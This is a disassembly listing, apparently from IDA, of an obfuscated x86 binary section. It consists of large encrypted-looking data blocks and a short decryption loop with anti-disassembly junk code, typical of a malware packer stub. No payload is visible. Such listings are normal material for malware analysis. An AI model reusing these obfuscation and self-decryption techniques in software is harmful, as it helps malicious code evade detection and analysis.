8209D557h, 503FBB62h, 0BF5B0272h, 4FD95B4Ah, 0C4BCFCB5h dd 4E54305Ch, 276320E2h, 6AD85A4Ah, 0A44A2763h, 0EE7864DAh dd 5CC4F3B3h, 0AB871D30h, 369F4D77h, 68A189Fh, 40DAA44Ah dd 138606B5h, 70B8605Eh, 0B3EE7852h, 305CC4F3h, 26AB871Dh dd 0D95B4A9Ch, 4A90326Bh, 7864DAA4h, 0D441C4DCh, 23F859A4h dd 80DC14AAh, 0D85A4A22h, 0D6A44804h, 56F7190Eh, 20B7BA4h dd 0EE78BF5Bh, 5CC4F3B3h, 0AB871D30h, 8AA0160Fh, 66425FEFh dd 26B463E6h, 0DC782290h, 0E4FE46C4h, 7801810Ch, 0F64238DCh dd 9C522CC2h, 0DC782763h, 9CDE70C4h, 9FF6220Eh, 0AF28B1Dh dd 0C06E0F19h, 7ACAB446h, 0FF43DA68h, 79A27EBDh, 324A78B0h dd 0D2A04A90h, 5CC4DFDFh, 0DD733130h, 4A90326Fh, 4C08D4A6h dd 710FD755h, 5CC58000h, 85129030h, 0DF40B25Bh, 0BF5B02E7h dd 6BD95B4Ah, 5B4A2763h, 90326BD9h, 189F369Fh, 0A04A068Ah dd 0AD420ED6h, 0F81C73D3h, 94EAA151h, 78BF5B02h, 0FF47C5DCh dd 0AECE61E5h, 30E44C56h, 4E1A64E1h, 0EB62E903h, 363E755h dd 0C298FD6Ah, 35FDD375h, 39DC7897h, 99F1D75h, 5743AF35h dd 0C7C7BA3Eh, 81305CC4h, 2A860E6Eh, 1AA87406h, 3240F684h dd 5AC219B4h, 0F4A91A57h, 0CA9F8E3Ch, 0BA4C346Bh, 5B02B111h dd 0D95B4ABFh, 8127636Bh, 5ED7801h, 61C010FBh, 5AAAD064h dd 227EBA48h, 82730AA4h, 0F9078B94h, 14206011h, 0B2F0305Ch dd 0A04A4446h, 36360D6h, 0C5783869h, 0A98305Ch, 0E2209C2Eh dd 5CC51F9Fh, 0AC430B30h, 4AA664CCh, 0DFDFD2A0h, 31305CC4h dd 0B501DD73h, 4F0ADAA2h, 0DF604A5h, 0BF5B0255h, 0BBB3B515h dd 0CBDB422Bh, 3BC95CBFh, 38DC7885h, 64E0E242h, 4A58A4D6h dd 4A10B2EEh, 786BD95Bh, 0F9B83CEDh, 0AE66CFCh, 5A4AECD6h dd 0A74804D8h, 0F61609D5h, 4D3FAB57h, 5DBF5B02h, 8430E063h dd 8E483h, 109F2700h, 78305D52h, 4CE0A04Ah, 925D8F29h dd 24BA1A58h, 8634CAD8h, 413BDC78h, 0A32BB5E9h, 8D17EF89h dd 18167A5h, 0C5890978h, 198B305Ch, 5B0363ABh, 6A78C4B4h dd 0E2203C8Eh, 60D6A04Ah, 4238DC78h, 0E17BEBF6h, 5CC4F0B0h dd 5CB42030h, 22E048DEh, 14D1A04Ah, 0CBC1F9ACh, 788F3DD3h dd 83CDB6EDh, 7AB613A4h, 1A3C9826h, 0DBDBD660h, 35305BFDh dd 9F01836Fh, 305CC51Fh, 8000710Bh, 90305CC5h, 11E42612h dd 0BF5B02B1h, 44D6A04Ah, 38047698h, 637C4EAAh, 9FE22027h dd 305CC51Fh, 7805852Fh, 0F74339DCh, 4814E28Bh, 0AD1FDB59h dd 0A44AB515h, 0EE36B4ECh, 789046D4h, 0E03C3EDCh, 0E8DA16E2h dd 0EE780181h, 45AD2F66h, 5CC50484h, 20960C30h, 0B75B0363h dd 0A7C892C2h, 1AA89066h, 1F9FECDEh, 2F305CC5h, 64DAA44Ah dd 0A04A2763h, 779844D6h, 329F2D05h, 0DAA44A90h, 1AB43264h dd 5CC52767h, 7FBBE930h, 205854Dh, 0A04ABF5Bh, 276360D6h dd 92882581h, 0F6619B4Bh, 0B1671AB3h, 0D0A246B4h, 0B432AA18h dd 0AF770528h, 4AEFDD15h, 6364DAA4h, 9FE22027h, 305CC51Fh dd 0CEAE430Bh, 6846C76h, 9D5A74Ah, 75D1AB4Dh, 0F64599E3h dd 1013EF8Eh, 0BF5B02B2h, 181B515h, 0A04A9032h, 78294FE0h dd 305CC538h, 0A634CAD8h, 4A903230h, 740ED6A0h, 523D3FD0h dd 8509786Ch, 75305CC5h, 0FC34B8E9h, 6DF89210h, 0E53C3279h dd 66DB7242h, 0D9BA2EBFh, 3C3EDC78h, 2763D6F4h, 0DFD2A04Ah dd 305CC4DFh, 6D2153F9h, 576BFE30h, 82105E7Eh, 27637EECh dd 0ED780181h, 0F1DD53D8h, 1B57A362h, 4AB515A9h, 0E0A0D1A7h dd 30305CC4h, 0E9A9D872h, 2B305CC4h, 3275EB79h, 0BC2F19B4h dd 54F67EF2h, 1812E9Ch, 0C5890978h, 2F8B305Ch, 1092720Ah dd 0ED78CC82h, 9D17D602h, 36BB77E2h, 3201818Ch, 0DAA44A90h dd 9F276364h, 305D5756h, 0D2A74AE6h, 80BBE8D6h, 89F892E2h dd 305C0E09h, 710B990Bh, 0DEAAAE7h, 782A305Ch, 903212B0h dd 0C5890978h, 198B305Ch, 0EE780876h, 0C55D5D54h, 0EAB7305Ch dd 0AD7FF4AAh, 0C921B7C6h, 5C257838h, 1A3C9830h, 631CD260h dd 78E22027h, 0E032D5EDh, 0CE5F3357h, 9BC8074Bh, 6B4FAB0Eh dd 0B824B6C6h, 0BD0FEB69h, 0A74A2763h, 903267D5h, 5CC51F9Fh dd 0B1112F30h, 7438DC78h, 2E0A98E2h, 41DB1BC2h, 970A7285h dd 305CC517h, 7D4FABF9h, 43D5A74Ah, 2B07719Bh, 0E3ED7899h dd 0DB2DB678h, 1AA835FDh, 6AD85A4Ah, 1F9F9032h, 2F305CC5h dd 0E757EE78h, 8B1BAEA7h, 702A6A1Fh, 0B8EA305Ch, 0CE4C4470h dd 4A276318h, 7867D5A7h, 0E9413BDCh, 5A4A0FB5h, 90326AD8h dd 61FB9511h, 5CC57030h dd 8F02A030h, 305CC50Fh, 7557A301h, 4ABF5B02h, 257ED2A7h dd 0F5DB1B13h, 2763F167h, 90320181h, 4ED85A4Ah, 0C4BDFDB4h dd 4D57305Ch, 0C4C6C6BBh, 544E305Ch, 27632E9Ch, 1F9FE220h dd 2F305CC5h, 27C99511h, 82FF8955h, 305CC502h, 36029012h dd 9B5B0294h, 0C654E233h, 91A626B4h, 158103EFh, 0D5A74AB5h dd 4A903267h, 0E1BDD6A0h, 0C55A5A57h, 0EFBA305Ch, 26F11E2Ch dd 529E2C6Fh, 89097870h, 8B305CC5h, 0B432AB19h, 82A99F19h dd 7A376C27h, 305C173Ah, 0FE3AC8DAh, 2FF4BCCh, 0A74ABF5Bh dd 0F8A943D5h, 305CC4B8h, 0DCEE4A58h, 1812763h, 0A74A9032h dd 94AA43D5h, 0B7349976h, 32B012DEh, 27671AB4h, 0E9305CC5h dd 4B4D7FBBh, 0A12373DBh, 5B027B49h, 780181BFh, 5CC58909h dd 0E5E47130h, 1957B2B5h, 2F8B77C3h, 0BBEB730Dh, 49DFE539h dd 0C4DC789Bh, 419DDF70h, 5351AD43h, 0F18C1AE7h, 830E990Bh dd 0DF37976Bh, 4A37955Dh, 9B43D5A7h, 0E321098Bh, 9789032h dd 305CC589h, 99BD198Bh, 78D2B0E3h, 5CC58909h, 0AB198B30h dd 671AB432h, 305CC527h, 4D7FBBE9h, 5B02FF4Bh, 0C4DC78BFh dd 2BCEEA46h, 2763E351h, 0EE78B515h, 5CC4F3B3h, 3A42D530h dd 0EEB4D8EAh, 0F8829602h, 4A90324Ah, 35B7EE5Ah, 2C48EDE9h dd 65E73E9Eh, 0C7750B99h, 0F3B3EE78h, 1D305CC4h, 6977AB87h dd 0D02C48EDh, 9FA466D2h, 2A73A4B3h, 0D85A4A83h, 9F27636Ah dd 6DED767Ah, 0AD2F66EEh, 25E75351h, 42D4A64Ah, 3804769Ah dd 637C4EAAh, 0C94B5B03h, 0DC78A361h, 0CCE8403Ah, 329C5228h dd 0D85A4A90h, 1190326Ah, 686FB95h, 0E305CC5h, 0C4A1E190h dd 3173305Ch, 27557A3h, 0A64ABF5Bh, 709A42D4h, 0CA581A30h dd 27635C6Eh, 8145A57Bh, 97D086Ch, 3A880B90h, 5A4A9032h dd 27636AD8h, 712FC620h, 83FC4D8h, 9FC1C32Fh, 305CC51Fh dd 8000710Bh, 90305CC5h, 11E42612h, 0BF5B02B1h, 0ED78B515h dd 0E0D55FC0h, 128672EDh, 32CC82FCh, 0B3EE7890h, 305CC4F3h dd 0D99BB11Dh, 27CBEF4Bh, 412AC355h, 0CA8BD6DFh, 7871539Fh dd 0C4F3B3EEh, 40D5305Ch, 0BADAE834h, 0F6EC00E8h, 5B020585h dd 0DAA44ABFh, 57EE7864h, 6009AD04h, 7F3F72D7h, 91305CB8h dd 68DA2713h, 42D4A64Ah, 0C4B9F9A8h, 495B305Ch, 276323E1h dd 4EECA44Ah, 32289E2Ch, 3BDC7890h, 0BE7FD41h, 58F28AAFh dd 0C4D3D3CEh, 513D305Ch, 9F29BFBDh, 5CC4A2E2h, 0F8307230h dd 0C6ED78CAh, 0E67AD325h, 2280DC14h, 5B02B111h, 3EDC78BFh dd 48E2E03Ch, 5CC55959h, 1E9BB30h, 4BF98395h, 809F2763h dd 0C8305C96h, 6BD95B4Ah, 0B21AB432h, 8200DC9Eh, 5CC48F0Fh dd 89238130h, 5CC39818h, 0CE2A7830h, 780181FCh, 993C57EEh dd 0AE7EE4D1h, 0EA038342h, 970D305Bh, 9F276321h, 878055AAh dd 0C4DC785Ah, 0CE4FE46h, 45FB79A8h, 38690363h, 305CC578h dd 9C2E0A98h, 64DAA44Ah, 7A9F9032h, 0CA856180h, 5B020585h dd 1090019Bh, 0C8305CC5h, 683A5AD8h, 0A44A0280h, 276364DAh dd 64DAA44Ah, 5B4A9032h, 22566DEh, 32B08CEEh, 0A8FB7D9Bh dd 46A56590h, 0B046D4D7h, 11903202h, 5024C995h, 5B022A98h dd 0DAA44ABFh, 9738440h, 2763E321h, 0A3DEA44Ah, 305CC4E3h dd 73E1772Dh, 0ED789032h, 0A257BE42h, 0C5846CB3h, 85613820h dd 78B111ACh, 757FA0EDh, 7684ECE0h, 14AA3804h, 0C909B0DCh dd 40DAA44Ah, 230F8D84h, 5B0363E1h, 0CECEC3B1h, 46305CC4h dd 6B76CE5Ch, 47AAF3E3h, 0F53DD30Ch, 0D95B4AD7h, 0C4DC786Bh dd 60E4FE46h, 7F42AECCh, 0B3EE78CBh, 305CC4F3h, 0FAB871Dh dd 322197E9h, 0D95B4A90h, 661BB54Fh, 305CC526h, 0C5C5B4EEh dd 4F305CC4h, 322F9D55h, 42DB4B90h, 84A7A992h, 60A28E8Ah dd 4ABF5B02h, 6364DAA4h, 3CED7827h, 805BF974h, 75B7BC49h dd 3263E0A0h, 18E407C6h, 4A6C305Ch, 864ED85Ah, 0E2200872h dd 0F928B432h, 0BD19AB7Bh, 0B90BE765h, 0EE780181h, 54A8D266h dd 15978E4Eh, 8E7FBBC9h, 305CC50Eh, 6F2F62FCh, 0A1305CC5h dd 594B3703h, 4A2763EBh, 0B441DBA5h, 2E7EB5A9h, 880A1A7Dh dd 328C3EFAh, 4F229F90h, 4AD2700Fh, 6365DBA5h, 0DBA54A27h dd 0B718541h, 4341A93Bh, 3C9F9032h, 4CFAA3Bh, 5B02B111h dd 0DBA54ABFh, 4A276365h, 3265DBA5h, 0D85A4A90h, 7B27636Ah dd 0CAC57AD0h, 4F375899h, 4238DC78h, 4A08BAF6h, 7865DBA5h dd 0FC403ADCh, 27870AE6h, 19E567BFh, 201DAF8Bh, 1B4A2FC6h dd 9A334DE2h, 7DB5EF6Dh, 0C51F9F4Fh, 112F305Ch, 0BF5B02B1h dd 8A7BB515h, 471F931Ch, 782896F9h, 5CC58909h, 42D57130h dd 9012FE3Ah, 3BDC7822h, 2BB5E941h, 12F272A3h, 4A6A5890h dd 326AD85Ah, 750728B4h, 0EDDF1BA9h, 0ED6A04Ah, 3DD65342h dd 6FAF4A1Bh, 0FDD925BBh, 0C3C11D5Fh, 0F101A8D4h, 40DA740Eh dd 5BFC5151h, 0B0E1C330h, 305BFBF0h, 14B68220h, 29B5B02h dd 0B003410Eh, 5476C2FFh, 96B92581h, 0F1841EE6h, 3B4BEE46h dd 0DFED45D4h, 0D166EE78h, 8D60B8A8h, 40D6E6C4h, 109919E8h dd 297B305Ch, 0C8C059Fh, 4305C11h, 7870529Eh, 5CC58909h dd 0AB198B30h, 413BDC78h, 860BE7FDh, 3201813Ch, 32018190h dd 0D85A4A90h, 872864Eh, 46CC537Dh, 0DB17D903h, 0E6ED78E9h dd 0E688261h, 9A16887Fh, 20F7535Eh, 0B7FB1EC6h, 790BDBA5h dd 9FBD0FEBh, 305CC51Fh, 2B1112Fh, 0EE78BF5Bh, 5CC4F3B3h dd 0AB871D30h, 0E2207250h, 5CC51F9Fh, 0B1112F30h, 4339DC78h dd 30E28BF7h, 413BDC78h, 0F00BE7FDh, 78018192h, 0E34339DCh dd 0EFD509E1h, 9D5A74Ah, 32AA187Bh, 0D85A4A90h, 2027636Ah dd 0B3EE78E2h, 305CC4F3h, 33C7871Dh, 3EFF549h, 5CC54242h dd 0A54A0C30h, 0C4E2A2DFh, 7032305Ch, 0A4B602E2h, 0A54F0ADAh dd 2999F604h, 0F3B3EE78h, 1D305CC4h, 0A647AB87h, 7911574h dd 5CC50A8Ah, 50980A30h, 0D5A74A72h, 81903267h, 89097801h dd 8B305CC5h, 2763AB19h, 0A74AE220h, 779B43D5h, 4FAB3905h dd 4A27637Dh, 3267D5A7h, 0C51F9F90h, 112F305Ch, 5123C995h dd 0C4CACAC7h, 584A305Ch, 0EE783290h, 5CC4F3B3h, 0AB871D30h dd 7874A647h, 0A72192EDh, 0E79A7194h, 305BFCA7h, 4DA53B69h dd 2B0C469h, 413BDC78h, 4A5EE4E9h, 3267D5A7h, 0C51F9F90h dd 4A2F305Ch, 4C08D4A6h, 0BBB9D6ABh, 0B019A2CEh, 1739C222h dd 2B9B8476h, 78BF5B02h, 0FF47C5DCh, 84A90DE5h, 276342F0h dd 67D5A74Ah, 1819032h, 0C5890978h, 0E471305Ch, 0CCC5DDD1h dd 305BC8CCh, 0E2CF5E44h, 45D96C2Ch, 0CD034844h, 693B2713h dd 789032FBh, 97B182EDh, 97BAE882h, 0F58B19E5h, 205A6F60h dd 5F9B909Bh, 30A6D67Bh, 1A6A0363h, 82FC1EECh, 2FDC1DEBh dd 181C1C3h, 5D54EE78h, 305CC55Dh, 4405EDB7h, 305CC544h dd 6360D6CCh, 20B51527h, 0C51F9FE2h, 112F305Ch, 5024C995h dd 883AF68Ch, 78BF5B02h, 0AA4339DCh, 5A998694h, 0EB60C867h dd 320181BBh, 0D5A74A90h, 66EE7867h, 485AAAD4h, 5CC55959h dd 0B4EDBB30h, 305CC4F4h, 54F0861Ch, 586ABAC0h, 4AB50D90h dd 3266D4A6h, 2CC62090h, 5CC53575h, 0A2F3DF30h, 66A48C22h dd 42D4A64Ah, 0E83AABh, 5BD31191h, 14A10330h, 0CCC40BE0h dd 5EECF64Eh, 3633092h, 0C44DC69h, 4C7F4651h, 5BCE5D5Dh dd 0F4514E30h, 0C7E1D3E6h, 4E43D5CFh, 305C4D4Eh, 0B614DCC6h dd 60D6A04Ah, 959F9032h dd 0A574D555h, 44D6A04Ah, 0C4B7F7AAh, 7F91305Ch, 0F3A321FDh dd 310D8F87h, 0F7D51DB3h, 0A04A2763h, 903260D6h, 4FB4E09Fh dd 0B1116856h, 4ABF5B02h, 7860D6A0h, 0F74339DCh, 4FE17CEAh dd 0DA8C42B5h, 0FDBDF486h, 17305CC4h, 4A67A58Dh, 3260D6A0h dd 7E439F90h, 8533706Bh, 0BF5B0205h, 4FE0A04Ah, 0BD3D12Dh dd 550B991Bh, 0A04A2763h, 0EE7860D6h, 5CC4F3B3h, 0C7871D30h dd 4EE24ECEh, 92613F14h, 1203CB5Bh, 0A530B292h, 0DFBB966Eh dd 23E14958h, 4ABF5B02h, 0A944D6A0h, 4DAACD67h, 0E0A0D13Ah dd 30305C14h, 0B614DC72h, 0A04A2763h, 903260D6h, 0B28FE9Fh dd 0A04A4E25h, 0AC420ED6h, 57B972D2h, 7F4F44B6h, 19B5B02h dd 5CC51090h, 56A20030h, 0B3EE7874h, 305CC4F3h, 0D2B1C5E4h dd 5F37C463h, 13A12373h, 1F59F327h, 492BC18Dh, 276323E1h dd 66D4A64Ah, 70FBED78h, 6808EABEh, 0EF37B5ECh, 0C7C11DD5h dd 0A87FD1Fh, 305BE38Ah, 0BA8A188Ah, 4AC2C028h, 3260D6A0h dd 2B11190h, 0EE78BF5Bh, 5CC4F3B3h, 0AB871D30h, 791EB0Fh dd 7DC1BB5Fh, 75CDA060h, 982E9B1Ch, 9D611B3Ch, 63992B07h dd 0C0B15B03h, 4478B7F7h, 64B84EC5h, 8130925Eh, 28B43201h dd 2CA87406h, 12906C0Eh, 4A16B47Ch, 6360D6A0h, 0FD1B6A03h dd 0CF234728h, 0E220A163h, 5CC51F9Fh, 0B1112F30h, 15BF5B02h dd 0D4A64AB5h, 9F903266h, 305CC51Fh, 2B1112Fh, 0DC78BF5Bh dd 0CEEA46C4h, 63E2502Ah, 24E96A03h, 4D8BCDBEh, 18127E5h dd 0A64A9032h, 903266D4h, 0EE780181h, 1FAED066h, 94A68E7Fh dd 0DBAA8610h, 305BFBD7h, 63F56B39h, 0D0A64A27h, 469E1C74h dd 0C54D4D3Ch, 0DDC7305Ch, 0EE78994Fh, 5CC4F3B3h, 3FBDD530h dd 0F3B1DDE7h, 1508BA07h, 6EDC3591h, 0C222B0CAh, 815A68C0h dd 21E08825h, 0B333E1F5h, 0ED784547h, 514EE54Bh, 0D509E1FAh dd 780181EFh, 0E298D7EDh, 6DC5B0CDh, 5B4A9331h, 0FCB54FD9h dd 305CC4BCh, 8E06849Ch, 63EEDC14h, 0D6A04A27h, 20903260h dd 0D6A04AE2h, 4A276360h, 7860D6A0h, 60A956EDh, 5C947131h dd 7401A330h, 67B18AFh, 305BE286h, 0AA86148Eh, 1F9F4C76h dd 0B305CC5h, 0D5CFC072h, 13DFBF4Dh, 0DCA54AB1h, 73FD5918h dd 73D361D6h, 5AFFB347h, 0D5B08C22h, 27D81AC3h, 21A3F35Bh dd 0D141C494h, 5D95B3FFh, 0BF5B026Fh, 60D6A04Ah, 0F3B3EE78h dd 1D305CC4h, 0B826AB87h, 0EA7CFE1Ch, 5CC4F7B7h, 0AF8B1930h dd 0D1A04A1Dh, 3E2E716Bh, 0DC6EFC96h, 549CDE70h, 9F903276h dd 305CC51Fh, 2B1112Fh, 0A04ABF5Bh, 0C4DFDFD2h, 7331305Ch dd 27636FDDh, 90320181h, 60D6A04Ah, 8BB8ED78h, 3AD3A94Ch dd 0B6821E90h, 3BD26C7Ah, 0EB27C336h, 34742579h, 0DC305C41h dd 0C11D5FF0h, 0C7C52DC3h, 0EE780181h, 49F54457h, 0CFC60862h dd 0FD1FBF4Dh, 0D2D6B783h, 42305BF2h, 363F260h, 78C4B45Bh dd 4A3C8E6Ah, 6360D6A0h, 32018127h, 4AB51590h, 0AB42D4A6h dd 0CA1AA213h, 32905824h, 0F928B432h, 200DBF7Bh, 35752CC6h dd 25305CC5h, 5CC52C6Ch, 0D6BEE430h, 4AA664CCh, 6366D4A6h dd 0D4A64A27h, 1AB43266h, 5CC52767h, 7FBBE930h, 3BDC784Dh dd 0BE7FD41h, 5CC53A7Ah, 68952030h, 83037EB3h, 8D305C9Eh dd 0D5DE8617h, 11A664CCh, 0BF5B02B1h, 0A1D0A64Ah, 305CC4E1h dd 6DE37133h, 0ED782763h, 0B0B3DDE6h, 6256A27Ch, 801AACCEh dd 5C6F9111h, 0C9218330h, 9F9032FBh, 305CC51Fh, 3729720Bh dd 572FC32Eh, 0B111299Bh, 4ABF5B02h, 9A42D4A6h, 0AA380476h dd 27637C4Eh, 0C5890978h, 198B305Ch, 90320876h, 66D4A64Ah dd 1819032h, 0C5850978h, 158F305Ch, 782763A7h, 0F43C3EDCh dd 984E2CC0h, 46C4DC78h, 81A3E7EAh, 78903201h, 4AED4FEDh dd 1A2AB425h, 0D902F4Ah, 0A7480CA2h, 0BF7B09D5h, 87036644h dd 4D85A4Ah, 189A8A22h, 0C4D1EE95h, 0C40305Ch, 0B93018D3h dd 2FD45495h, 3ACh, 0F654F600h, 0FD7A14Ah, 77CFA943h, 78C4B45Bh dd 7FC7455Ch, 66BEBE53h, 69B5C76Ah, 6FB7356Dh, 53B3CD63h dd 55A9D367h, 0D338685Eh, 17E907F0h, 0FDFFF874h, 27B4CE93h dd 0FD0FB7F9h db 0A9h, 0EEh, 7Dh ; --------------------------------------------------------------------------- loc_604573: ; CODE XREF: sdfs____:loc_6010EDj call near ptr loc_60457C+1 mov ch, 38h mov ah, 0F9h loc_60457C: ; CODE XREF: sdfs____:loc_604573p not byte ptr [edx+0Fh] test [edx], eax ; --------------------------------------------------------------------------- db 3 dup(0) ; --------------------------------------------------------------------------- mov bl, 0C1h pop edi pop edx jmp loc_60459D ; --------------------------------------------------------------------------- db 6Bh, 3Ch, 0ACh dd 0DE7328C0h, 0A57FA2FDh, 92E231A7h db 44h ; --------------------------------------------------------------------------- loc_60459D: ; CODE XREF: sdfs____:00604588j add edx, 6A02h jl loc_6045AB mov ebx, edi loc_6045AB: ; CODE XREF: sdfs____:006045A3j mov eax, 280E2C34h add eax, 0D7F1EE1Ch push ebx jmp loc_6045C7 ; --------------------------------------------------------------------------- sbb [ebx-2D90BC83h], ah mov dh, 4Eh adc cl, [ecx-78h] loc_6045C7: ; CODE XREF: sdfs____:006045B7j pop esi loc_6045C8: ; CODE XREF: sdfs____:00604634j push dword ptr [edx] mov ebx, ecx pop ecx add esi, 40B36ED9h add ecx, 232696C9h adc bx, 33Bh sub ecx, 253BD49h or si, 0F582h sub ecx, 5984A1D5h clc push ecx push edx jmp loc_60460B ; --------------------------------------------------------------------------- db 0A9h dd 0BF914758h, 0EA87BCB3h, 0D2088555h, 8F614849h db 34h, 0A7h, 26h ; --------------------------------------------------------------------------- loc_60460B: ; CODE XREF: sdfs____:006045F2j pop esi pop dword ptr [edx] cld sub edx, 2 jmp loc_604621 ; --------------------------------------------------------------------------- db 4Bh dd 0E05A83BAh, 5C6137C2h db 36h ; --------------------------------------------------------------------------- loc_604621: ; CODE XREF: sdfs____:00604612j dec edx dec edx jmp loc_604633 ; --------------------------------------------------------------------------- dd 0A978AFE1h, 1D93FA93h db 0AEh, 0D2h, 0BFh ; --------------------------------------------------------------------------- loc_604633: ; CODE XREF: sdfs____:00604623j dec eax jnz loc_6045C8 mov di, 0CD9Bh call sub_60464B pop ds xchg eax, ebx adc [ebp+4B2E3588h], dh ; =============== S U B R O U T I N E ======================================= sub_60464B proc near ; CODE XREF: sdfs____:0060463Ep ; FUNCTION CHUNK AT 00604697 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 006046BD SIZE 0000002C BYTES ; FUNCTION CHUNK AT 0060470F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 006054EC SIZE 00000009 BYTES mov edi, 2D6F76FEh pop edx mov ah, cl add edx, 0D9B9h push 3647h mov eax, 7FB25D20h pop ebx call near ptr sub_604671 loop loc_604697 fild qword ptr [eax+354BBE4Ah] sub_60464B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_604671 proc far ; CODE XREF: sub_60464B+19p ; FUNCTION CHUNK AT 0060468D SIZE 0000000A BYTES movzx esi, si pop eax loc_604675: ; CODE XREF: sub_60464B+85j push dword ptr [edx] call loc_604681 jnz short loc_60468D retf sub_604671 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 25h db 89h ; --------------------------------------------------------------------------- loc_604681: ; CODE XREF: sub_604671+6p mov si, di pop eax pop ecx jmp near ptr loc_60468F+1 ; --------------------------------------------------------------------------- db 0BEh db 21h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_604671 loc_60468D: ; CODE XREF: sub_604671+Bj cmp al, 0A2h loc_60468F: ; CODE XREF: sdfs____:00604686j or [ecx+143963F1h], al dec eax stc ; END OF FUNCTION CHUNK FOR sub_604671 ; START OF FUNCTION CHUNK FOR sub_60464B loc_604697: ; CODE XREF: sub_60464B+1Ej add ecx, 0EE08B09h xor di, 0DAF6h sub ecx, 7D28B206h movsx esi, di push ecx jmp loc_6046BD ; END OF FUNCTION CHUNK FOR sub_60464B ; --------------------------------------------------------------------------- mov dword ptr [esi+ecx+67A25589h], 39F7A4ECh popf ; START OF FUNCTION CHUNK FOR sub_60464B loc_6046BD: ; CODE XREF: sub_60464B+61j pop dword ptr [edx] push edx push edx add di, 0CBDCh pop eax pop esi sub edx, 4 mov di, 21E3h dec ebx jnz loc_604675 ja loc_6046E4 jle loc_6046E4 mov ah, bl loc_6046E4: ; CODE XREF: sub_60464B+8Bj ; sub_60464B+91j jmp loc_60470F ; END OF FUNCTION CHUNK FOR sub_60464B ; --------------------------------------------------------------------------- db 0C9h, 3Ch, 35h dd 47h, 7 dup(0) db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_60464B loc_60470F: ; CODE XREF: sub_60464B:loc_6046E4j jmp loc_6054EC ; END OF FUNCTION CHUNK FOR sub_60464B ; --------------------------------------------------------------------------- push 7F10BD5h jmp loc_58B97E ; --------------------------------------------------------------------------- push 7F10CC0h jmp loc_58B97E ; --------------------------------------------------------------------------- push 7F10D7Eh jmp loc_58B97E ; --------------------------------------------------------------------------- push 7F10E1Eh jmp loc_58B97E ; --------------------------------------------------------------------------- push 7F1116Eh jmp loc_58B97E ; --------------------------------------------------------------------------- push 7F1149Dh jmp loc_58B97E ; --------------------------------------------------------------------------- push 7F11584h jmp loc_58B97E ; --------------------------------------------------------------------------- dw 41EAh dd 0FE12BE37h, 0B147F17Ch, 9A8A26CFh, 163B9518h, 0D851CF66h dd 8E2755F8h, 0FC71F322h, 30BDBF50h, 69047684h, 0A7E79A04h dd 69286BBBh, 0A74A6D53h, 0F8A943D5h, 305CC4B8h, 0B2EE4A58h dd 0FD8FF106h, 71B9BB51h, 145BF26Ch, 0CC7901F1h, 77E2BF7Bh dd 26EDADE4h, 7D27305Ch, 75245DEFh, 4737B502h, 690B21ADh dd 1A9A0F95h, 0FA287302h, 29791DA8h, 1874FE9Ch, 3F722CD0h dd 2872FF7Fh, 0FF76366Bh, 49E2872h, 0B8841A88h, 72FEEDC9h dd 49159328h, 7B09D5A7h, 69AA53BFh, 8C1AA297h, 37D7h, 0A0B3F300h dd 13663A30h, 1AC2FF50h, 61FB890Bh, 0B4D36130h, 0F3535137h dd 72D3B612h, 7A6AA28h, 1AD0EADAh, 0FCB54F8Ch, 2872DFBCh dd 698E4E54h, 786DB17h, 0DC000000h, 92951h, 0ED78F100h dd 0D2E789D2h, 0A014DC78h, 0B814E88Ah, 0DA43E792h, 6F7DDB4Ah dd 1FB64FD9h, 4FD234BFh, 7F5165Bh, 22B0D2BEh, 0C15BCBD6h dd 5CBDD0D0h, 96624030h, 3DCF58DBh, 35FD7F91h, 0A49FFEB3h dd 0ADF737B5h, 0A514B051h, 44C82873h, 0FC8C74A5h, 25A18C19h dd 72326F11h, 0A22873ADh, 6B867200h, 35h, 30A0B37Fh, 5BCAD945h dd 0CF59EF1Ah, 0B4EB13D2h, 1178337h, 8F1DA77Fh, 141360FDh dd 0F7A92724h, 0A23EE73Bh, 46287354h, 0FEC613BAh, 788C1A50h dd 107h, 0E0A04A4Ah, 409C32B0h, 88ADE174h, 0CA865EECh dd 0F08E5620h, 6ABAC054h, 0C565255Ch, 0F5AF305Ch, 0D2F8B67h dd 0C57A3A77h, 6763305Ch, 338A365Eh, 18AEF498h, 0B872EE95h dd 608A305Ch, 0B7EA8416h, 305CB8F7h, 22AF8B19h, 0B2C64F6h dd 4E03E371h, 3AA234A3h, 0B5ED69EBh, 53EDFB37h, 4D22D8BAh dd 0F23EFA3Ch, 0B562C013h, 9A2C7637h, 8D778803h, 22AB24AEh dd 0E859EC59h, 0C6E8C62h, 0D41CB230h, 0C9B96C9h, 0D264E07Ah dd 22027C9Eh, 0B03212A0h, 34BB8978h, 0A32B2FC7h, 5539F173h dd 0FC11BD4Fh, 0E357EE78h, 4749B1Fh, 9913AA38h, 32BF7B5Eh dd 60097386h, 3C4A28ACh, 0B2CBFC70h, 9F00000Ah, 0C771FC7Ch dd 8A44933h, 0BF1994E6h, 0EC48E567h, 2A823349h, 0EC88AD0Dh dd 3EBED741h, 8AF205B7h, 0D1A349EBh, 326F3B5Ch, 286BBA72h dd 4A3A68A2h, 0FC58D5A7h, 15911C5Eh, 8D45849h, 0F1B1E07Ah dd 23305CC4h, 0B31BA981h, 0ECA537A0h, 37B5AAEDh, 9927FFA5h dd 815D1F3Dh, 0CBB55B03h, 0AA429E6Fh, 1A262873h, 0FB5EA673h dd 0CA988C19h, 0E000000h, 71CD4F46h, 4A058773h, 420ED6A0h dd 7771CDAFh, 21BB74DEh, 0CE4502Eh, 5C16017Dh, 688D4930h dd 78236D0Bh, 2DC36DD3h, 393BD1C5h, 8FA22AB4h, 0A79311EDh dd 479FD973h, 66F067F2h, 0B56C982Bh, 69049E37h, 0BC4051FDh dd 1FBEB974h, 5BED83FDh, 0C7974F26h, 0AC39672Fh, 0EF153000h dd 0C8CFD4Fh, 42087A7h, 0D67E089Eh, 18B43943h, 0CCEA87F5h dd 0F43C4A07h, 9C74778h, 618A0000h, 1E329E17h, 0D167D15Ch dd 7AAA06AFh, 36DB75F8h, 0F831AF46h, 6E077598h, 0DC51D3C2h dd 109DDF70h, 49E496A4h, 87077A24h, 89286BB9h, 0A74A0D73h dd 6CE58D5h, 2EB488F2h, 29F577AEh, 0D17B5F9Bh, 67B15A7h dd 305CC586h, 